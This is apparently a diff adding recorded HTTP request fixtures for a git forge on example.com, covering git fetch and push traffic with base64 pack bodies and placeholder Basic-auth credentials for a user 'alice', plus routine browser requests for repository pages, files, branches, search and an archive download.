+{"method": "POST", "target": "/alice/tools.git/git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-upload-pack-request", "Accept: application/x-git-upload-pack-result", "Git-Protocol: version=2", "Content-Length: 223"], "body": "0011command=fetch001aagent=git/2.49.1-Linux0016object-format=sha10001000dthin-pack000fno-progress000dofs-delta0032want 025ecb5715ad88750bc8944ae3ee0023776b08a3\n0032want 025ecb5715ad88750bc8944ae3ee0023776b08a3\n0009done\n0000"}
+{"method": "GET", "target": "/alice/tools.git/info/refs?service=git-receive-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Pragma: no-cache"], "body": ""}
+{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 1195"], "body": "MDBiNTAyNWVjYjU3MTVhZDg4NzUwYmM4OTQ0YWUzZWUwMDIzNzc2YjA4YTMgYmJlNTIyM2E5YTRmODRlN2MzZDcyMDZmNGJkZDA2MjIzOWU4MzA5YiByZWZzL2hlYWRzL21haW4AIHJlcG9ydC1zdGF0dXMtdjIgc2lkZS1iYW5kLTY0ayBxdWlldCBvYmplY3QtZm9ybWF0PXNoYTEgYWdlbnQ9Z2l0LzIuNDkuMS1MaW51eDAwMDBQQUNLAAAAAgAAAA+YDXiclYtbCsIwEAD/c4r8C7J5bLMFEXuUzWaLgVZLmoLHtx7B+RkYmN5UrRTyOCtLiSKEgCPMPnoix7FIRBiT5hSd2bjpq1vwqJIxOeRClBCy0Bgja1AF8CGlIQNxMHz057vZaami9sY/PfTD67boVd7r3bo0xkAOh8Fe4MScda2961+TmUqx+ahLsbu0uvXdfAHWnz/YoRR4nDM0MDAzMVHQS88syUzPyy9KZTiU2lsrbdjSY104jdX5NHPG05wrxw2hqjJKEpOTU4uLGaIm9ecuijp2bVeqB3fZBavC0xMSLaCKglwdXXxd9XJTGIra7y45/9VpvTvn0Xl2Kzsfiq1znAJVFJ1SlJhWEgtS9fmKeemzqGM9rJ0rpsnMS4t74ZzpYmIABApJmXkMS35PtDvsY3r29PzXKw5bNU9ZxpERBzUjJT85O7VINzk/tyC/OFWvMjeHQWd5y3flxTNnR91tzrz0g3Vzj8LbmxCzgIqLGfhebpt28ZJ3sYB3caHp4gO26QUZiyDSxclFmQUlxQxfH11qDNt8SW+e8ule1UMm87rDHz6HqihKZkjJPfl/b6+HvVWbwP4LLHLrGh0WWwIAQ5+D9D54nMvLT0mNz81PKc1JLdbnAgAqqgU4sQF4nPMvKMnMzytW0PXMS0mtSC3mAgA5BQYUNnicSylKTCvhAgAIQAIcrQJ4nDM0MDAzMVFIyU/OTi3STc0rKaosyM/MK2EwlNlx2uGU5d7E5T2We5qlPpa4xEUBAGp2Eai0AXicU1bUT8rM0y/O4EqtSE1WUFJxUOICADrbBTiyAnicK04tKstMTi224lJQKE9NAlEKCpm5iempVgp56Zl5FVwAvLIKdq8CeJwzNDAwMzFRyEosS9TLScxL1wsuKcoEUrkpDDqcykduszK1ZnX7O/2+3DJ3wducWABo9hG0OXicU1YILinKzEvnAgANQQLFqQV4nDM0MDAzMVHIzCsuSczJ0S1OLsosKNErzmA4WsLziFHnpxzTZC5LhjXrhBeuDpcyhCguqCzJyM8z1k3OSE3O1iuoZNjBZ6S0Ws37+qnf5umeeyUa/a+llwEAQ3sf9roBeJxTVtRPyszTL87gSk3OyFfIzCsuSczJycxL5wIAbs0Ivzx4nCsoyswr0VDKyFTS5AIAHBwDnqwCeJwzNDAwMzFRKCjKT04tLtZLzSvTS9ErKWZoZrzwV9ki/dEqV+5di3c4P5qYE/gAAFOgEcS7AnicS0lNzkksSlVIzs8rLlFIzSuzUghKTc4vSrEpLinKzEvXUYDQdtZcAF6zD3MdeaAnWyIMS8cNQ71Ry9eDVrG43w=="}
+{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 617"], "body": "MDBjMjAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgZjdmZmE2MDM5NmQ5OWY2MTMxNWE1YTlhMjI1ZmMzMmViNjIyOGZkYiByZWZzL2hlYWRzL3B5dGhvbjMtbWlncmF0aW9uACByZXBvcnQtc3RhdHVzLXYyIHNpZGUtYmFuZC02NGsgcXVpZXQgb2JqZWN0LWZvcm1hdD1zaGExIGFnZW50PWdpdC8yLjQ5LjEtTGludXgwMDAwUEFDSwAAAAIAAAAElg14nJWNSwoCMRBE9zlF7wVJ0j35gIgewEMk6Q4OzJhhiKK3Nx7B2hS8R1F9F4GKwoGzUAmFinHOMCUO1gyKjrC6yDb6qLa0y6NDzjJZiykmqoHEF2RvtauUmbUbJkpAHbNKz35vO1yXuQic0q8u8k7rtsixtPUMxkfCYCbn4aBH1KDr3Lv8NVK39hLoDbbP+Hug+gLJoT+v+gPNgl/qzUzIUFkPJCiBpNxFCX63QXicO8h0kGkDP6NRbPrloHwvB+O3XZczPxVe7CwzvnPLxAAIFIqLkhlSck/+39vrYW/VJrD/AovcukaHxZYA3WMY768HeJwzNDAwMzFRyMwrLknMydEtTi7KLCjRK85gOFrC84hR56cc02QuS4Y164QXrg6XMoQozs1ML0osSdUrqGTYKb5c7aT9BD1nTdkJnNc8mluFrdOhqgoqSzLy84x1kzNSk7NBanfwGSmtVvO+fuq3ebrnXolG/2vpZQCoeiylOXicKyjKzCvRMNTkAgAQzwK6yhVHjb1hxkRjVbbQfVlakFC62Bw="}
+{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 475"], "body": "MDBjNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgNGI1ZWMxYWFiNjUyNzJiNjNiNWIxZjM5YmZjMmMxNDY4NGMwNjNhMCByZWZzL2hlYWRzL2ZlYXQvZG9ja2VyLXN1cHBvcnQAIHJlcG9ydC1zdGF0dXMtdjIgc2lkZS1iYW5kLTY0ayBxdWlldCBvYmplY3QtZm9ybWF0PXNoYTEgYWdlbnQ9Z2l0LzIuNDkuMS1MaW51eDAwMDBQQUNLAAAAAgAAAAOVDXiclYtbCsIwEEX/s4r8CzLNswERC25kJjODxdaWEMHlW5fg/TlwDrc3EesIQyoeoOQQaXCclFExhsqOKEQFUFJwZscmr26JJDrnsWDQMUiunrODpIGYIR2lyOihkMF3f2zNTstcxV7wh5t8cN0XOddtvdohl+DHIaZsT3DMHHade5e/TmZitvetPqXpvIj5AnIRP0P5As2CX+rNTMhQWQ8kKIGk3EUJfrdBeJw7yPScaUKQvEt+cnZqUVpmTipD+l/zCRITa+JfuB2Sut6UzLn8RVLLRO9vAGSzEms8eJxzC/L3VUjMKcjMS+UCABjGA9h6SWeBbtf5prUzWzGtbNHU1VZzAQ=="}
+{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 218"], "body": "MDBiNjAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgYmJlNTIyM2E5YTRmODRlN2MzZDcyMDZmNGJkZDA2MjIzOWU4MzA5YiByZWZzL3RhZ3MvdjEuMC4wACByZXBvcnQtc3RhdHVzLXYyIHNpZGUtYmFuZC02NGsgcXVpZXQgb2JqZWN0LWZvcm1hdD1zaGExIGFnZW50PWdpdC8yLjQ5LjEtTGludXgwMDAwUEFDSwAAAAIAAAAAAp0IgjvYqOq1EK1qx1yCPP0+0x4="}
+{"method": "GET", "target": "/alice/powershell-scripts.git/info/refs?service=git-receive-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Pragma: no-cache"], "body": ""}
+{"method": "POST", "target": "/alice/powershell-scripts.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 397"], "body": "MDBiNTAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgZGQxYzIyM2RjZWI1NDQxMjdiNzhjZGMyYTZjZTM1NmY4ZWQ5NGYyZCByZWZzL2hlYWRzL21haW4AIHJlcG9ydC1zdGF0dXMtdjIgc2lkZS1iYW5kLTY0ayBxdWlldCBvYmplY3QtZm9ybWF0PXNoYTEgYWdlbnQ9Z2l0LzIuNDkuMS1MaW51eDAwMDBQQUNLAAAAAgAAAAObCXiclYtRCsIwEAX/c4r9FyTbmO0GRPQoSXzBQGOlrODxrUdwfgYGxjaARNsEbjJ5pCRVYp0DtxCKIkfPUqLXO6O4/LbHutFt6RV0zj9d8cnjteBY13EhntMpKEdROvgdt9fRzfDX5Pqzm/sCJg8twKUCeJwzNDAwMzFRCHJ1dPF11ctNYXDttjkS9vTmppsC4WHfVpXW8TJZuQIA3ioNSjp4nFNWKE4uyiwoKeYCABGaA1YUrPZOD6Y21E0qY7z1OfdB9DOSug=="}
+{"method": "POST", "target": "/alice/tools.git/git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-upload-pack-request", "Accept: application/x-git-upload-pack-result", "Git-Protocol: version=2", "Content-Length: 212"], "body": "0014command=ls-refs\n001aagent=git/2.49.1-Linux0016object-format=sha100010009peel\n000csymrefs\n000bunborn\n001bref-prefix refs/heads/\n001fref-prefix refs/heads/main\n001aref-prefix refs/tags/\n0014ref-prefix HEAD\n0000"}
+{"method": "GET", "target": "/assets/js/activity-heatmap.514f8f16.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/branch/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/branch/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/branch/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/branch/main/bin/docker-entrypoint", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/branch/main/src/process.env.d.ts", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/branch/main/docs/java.lang.String.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/branch/main/%5Bdraft%5D.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/raw/branch/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/raw/branch/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/blame/branch/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/commits/branch/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/branch/python3-migration", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/branch/feat/docker-support/Dockerfile", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/commits/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/branches", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/tags", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/releases", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/activity", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/js/repo-activity-top-authors-contributors-graph-code-frequency-graph-recent-commits-graph.2afcdb46.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/activity", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/js/repo-activity-top-authors.0b8b147c.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/activity", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/avatars/c160f8cc69a4f0bf2b0362752353d060", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/activity", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/graph", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/compare/main...python3-migration", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/css/dropzone.5a752d14.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/js/dropzone.265e21d7.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/tag/v1.0.0", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/archive/main.zip", "headers": ["user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "accept: */*", "accept-encoding: gzip,deflate,br", "cookie: session=d65379616ffd0971; lang=en-US", "Host: example.com", "Connection: keep-alive"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/repos?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/code?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/pulls?state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
